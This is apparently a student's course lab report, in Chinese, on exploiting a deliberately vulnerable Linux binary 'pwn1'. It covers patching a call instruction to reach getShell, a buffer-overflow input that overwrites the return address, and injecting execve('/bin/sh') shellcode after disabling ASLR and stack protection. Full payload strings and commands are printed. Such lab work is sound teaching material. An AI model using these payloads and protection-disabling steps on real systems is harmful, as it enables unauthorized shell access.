Exp1:PC平台逆向破解

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

二、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个shellcode并运行这段shellcode。

三、实践知

1.熟悉Linux基本操作。

  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。

2.理解Bof的原理。

  • 能看得懂汇编、机器指令、EIP、指令地址。

3.会使用gdb,vi。

4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。

机器指令CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。

JE:条件转移指令,如果相等则跳转;

JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转;

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出;

NOP:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令;

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

四、实践步骤

实践一   修改程序机器指令,改变程序执行流程

1.下载目标文件pwn1,并将它放进指定的文件夹中,然后用ls命令列出文件pwn1,执行它,

2.使用objdump -d pwn1 | more将pwn1反汇编,得到以下代码

找出核心代码(getShell,foo,main),如下,

由图中可见,main函数中在80484b5地址的''call 8048491''这条指令,会调用地址为8048491的foo函数,而其对应机器指令为“e8 d7ffffff”,根据foo函数中的指令猜测,e8为''call''指令,即跳转指令。按照正常流程,会执行main函数中的下一步,即80484ba地址的指令,此时EIP的值为80484ba,但此时执行call指令,会跳转到8048491,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

那我们想让它调用getShell,只要修改 d7ffffff 为 getShell-80484ba 对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff

3.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

(1) vi pwn1,进入命令模式

(2)输入:%!xxd,将显示模式切换为十六进制

(3) 在底行模式输入/e8 d7,定位需要修改的地方,并确认

 

 

(4) 进入插入模式,修改d7为c3

(5) 输入:%!xxd -r,将十六进制转换为原格式

(6)使用:wq,保存并退出

4.再反汇编看一下,call指令是否正确调用getShell

5.输入./pwn1运行,可以得到shell提示符#

 

实践二  通过构造输入参数,造成BOF攻击,改变程序执行流

1.首先确认输入字符串哪几个字符会覆盖到返回地址

(1)通过构造缓冲区溢出的方法,让getShell函数的地址恰好溢出到EIP。

同上面的实验一样,目标是触发函数getShell。然后调用如下函数foo,这个函数有Buffer overflow漏洞。所以要将超出部分所造成的溢出字节覆盖返回地址。

通过输入不同长度的字符串判断是否覆盖到返回地址,经多次尝试可知输入28个字符时,会产生溢出。

(尝试时忘记截图了·····)

(2)通过gdb命令,调试文件pwn1,并输入40个字符。

(3)通过info r命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前

返回地址为5555(0x35是ASCII码,代表十进制中的5),说明刚输入的40个字符中,含有5的字符串溢出到了EIP中。

(4)为了验证我们的猜测,将“55555555”改为“12345678”,然后再用info r查看是哪几个数字溢出到EIP。

最终发现“1234”会覆盖到堆栈上的返回地址,那我们就需要将这4个字符替换为getShell的内存地址,就可以触发函数getShell了。

2.确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

通过实验指导书的方法试验发现字节输入顺序应该如下:

11111111222222223333333344444444\x7d\x84\x04\x08。

3.构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

(1)输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input。

(2)输入xxd input 查看input文件是否符合预期。

(3)然后将input的输入,通过管道符“|”,作为pwn1_2的输入,即输入 (cat input; cat) | ./pwn1_2 input的输入。

输入指令(cat input; cat) | ./pwn1后,发现已获得shell。

实践三  注入Shellcode并执行

1.准备一段Shellcode

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2.准备工作

(1)安装好execstack,输入apt-get install execstack即可安装。

(2)execstack -s pwn1 //设置堆栈可执行

(3)execstack -q pwn1 //查询文件的堆栈是否可执行

(4) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(5) echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

(6) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

 

3.注入shellcode

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。

缓冲区小就用前一种方法,缓冲区大就用后一种方法。这里,我们这个buf够放这个shellcode了,我们选用前一种方法。

(1)把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。

注意:最后一个字符不能是\x0a,即回车!

(2)打开一个终端注入这段语句

特别注意:只需按一次回车

(3)打开另一个终端进行调试

 ① 使用指令ps -ef | grep pwn1来查看pwn1的进程号。

 ②输入指令attach 5959调试这个进程。

 ③使用指令disassemble foo设置断点,来查看注入buf的内存地址。

 ④断在ret处,这时注入的东西都到堆栈上了。

⑤然后break *0x080484ae,在另外一个终端中按下回车。//这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

⑥使用指令c,继续运行。

通过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x70\xd3\xff\xff即可

最后通过指令发现已经获得Shell

实践心得:

在这次实践中,我们通过三种方法改变了执行文件的执行流程,三种方法,对应着三种不同的攻击思路,分别是:

  1. 运行原本不会运行的原文件中的片段。
  2. 强行修改文件的执行流程。
  3. 注入自己想要注入的代码并使之运行。

       这次的实践,让我感受到网络攻防技术的重要性,即使这次的攻击有一些前提,需要系统存在一些漏洞。而在我看来,漏洞,在大多数电脑中是存在的,也许是操作系统的漏洞,也许是某个软件的漏洞,而这些漏洞,就是电脑安全保卫线中的一个个缺口,也许这些缺口都不大,但是威力却是不容小视的,一旦被攻破,也许自己的电脑就会被别人监控,甚至控制。在之后的课堂上,一定要认真听讲,也一定要多做实践,这样才能学好网络对抗,才能保护好自己的电脑。

posted @ 2019-03-15 11:10  FourICes  阅读(166)  评论(0编辑  收藏